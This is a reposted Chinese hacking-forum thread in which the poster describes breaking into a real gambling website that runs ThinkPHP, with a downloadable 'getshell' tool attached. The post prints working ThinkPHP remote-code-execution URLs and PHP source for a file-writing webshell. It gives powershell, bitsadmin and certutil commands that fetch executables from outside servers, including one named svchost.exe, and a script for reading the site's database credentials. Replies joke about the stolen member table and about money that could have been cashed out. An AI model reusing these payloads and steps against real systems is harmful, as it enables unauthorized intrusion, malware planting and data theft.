anonymou5

 找回密码
 立即注册
搜索
查看: 170|回复: 4

【转载】对某菠菜网站的一次渗透测试

[复制链接]
匿名
匿名  发表于 2018-12-28 00:07:16 |阅读模式
前言

无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?
然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。

0x00 一键getshell?

简单看了下,应该有不少人玩吧?

1.jpg

正好前几天写了个测试工具,先掏出来测试一发。

工具显示存在漏洞

2.jpg

一键getshell,看起来很顺利的样子,哈哈。

3.jpg

菜刀连接的时候,返回500错误。

4.png

我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?
作为菜逼的我不禁陷入了沉思...

5.png

0x01 开始分析

因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。

poc如下
  1. /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
复制代码
我们在poc后面输入whoami看看权限。

iis权限
但是可以执行部分命令,比如echo dir等等。

6.jpg

0x02 尝试突破拿shell

既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。

注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php
  1. <?php
  2. header("content-Type: text/html; charset=gb2312");
  3. if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
  4. ?>
  5. <form method="POST">
  6. 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
  7. <br><br>
  8. <textarea name="text" COLS="70" ROWS="18" ></textarea>
  9. <br><br>
  10. <input type="submit" name="submit" value="保存">
  11. <form>
  12. <?php
  13. if(isset($_POST['file']))
  14. {
  15. $fp = @fopen($_POST['file'],'wb');
  16. echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!';
  17. @fclose($fp);
  18. }
  19. ?>
复制代码
逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

接下来尝试用以下方法下载文件到服务器上也失败了。
  1. powershell下载
  2. 注意:内核5.2以下版本可能无效
  3. powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\ssss2.exe')

  4. bitsadmin下载
  5. bitsadmin /transfer n http://baidu.com/PSTools.zip  C:\PSTools.zip

  6. 注意:不支持https、ftp协议,使用kali的simplehttpserver作服务器会报错
复制代码
正当我打算放弃的时候,我想起来还有个下载的命令没用。
那就是certutil.exe
说干就干,把大马放到我们服务器上,开启HFS。
然后执行以下命令。
  1. certutil.exe -split -ur"lc"ache -f http://ww.baidu.com/svchost.exe svchost.exe
复制代码
7.jpg

成功进入大马,不过别高兴太早。

8.jpg

大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。

9.jpg

既然这样,那么我们进数据库看看吧。
我们都知道tp的数据库配置文件在以下这个位置
  1. /application/database.php
复制代码
大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。
  1. /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\www\application\database.php
复制代码
尝试type读取失败,然后又想到copy命令。
把database.php拷贝到web根目录下,改名为1.txt
  1. /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\www\application\database.php c:\www\public\1.txt
复制代码
拷贝完成以后访问url/1.txt,发现里面是空的。

0x03 成功突破

经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。
  1. <?php
  2. $file_path = 'c:/www/application/database.php';
  3. if(file_exists($file_path)){
  4. $fp = fopen($file_path,'r');
  5. $str = fread($fp,filesize($file_path));
  6. echo $str = str_replace('\r\n','<br />',$str);
  7. }
  8. ?>
复制代码
用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。

10.jpg

然后填写好配置信息,进入数据库。

11.jpg

12.jpg

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉......

ThinkPHP_getshell-v2.rar (398.54 KB, 下载次数: 51)
回复

使用道具 举报

0

主题

3

帖子

542

积分

核心会员

Rank: 4

积分
542
发表于 2018-12-28 15:36:51 | 显示全部楼层
会员表只有6个 不算多吧 哈哈
回复

使用道具 举报

匿名
匿名  发表于 2018-12-28 16:24:04
h4yh 发表于 2018-12-28 15:36
会员表只有6个 不算多吧 哈哈

重点在于拿到权限。。。。

回复

使用道具 举报

匿名
匿名  发表于 2018-12-28 16:25:03
h4yh 发表于 2018-12-28 15:36
会员表只有6个 不算多吧 哈哈

厉害,瑞总都是搞上千万的数据。。。

回复

使用道具 举报

0

主题

12

帖子

165

积分

注册会员

Rank: 2

积分
165
发表于 2018-12-28 21:50:02 | 显示全部楼层
竟然没提现说明 差评 5亿错过了
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

( 蜀ICP备18025895号 )

GMT+8, 2019-1-19 03:54 , Processed in 0.281696 second(s), 23 queries .

Powered by anonymou5 0.1

快速回复 返回顶部 返回列表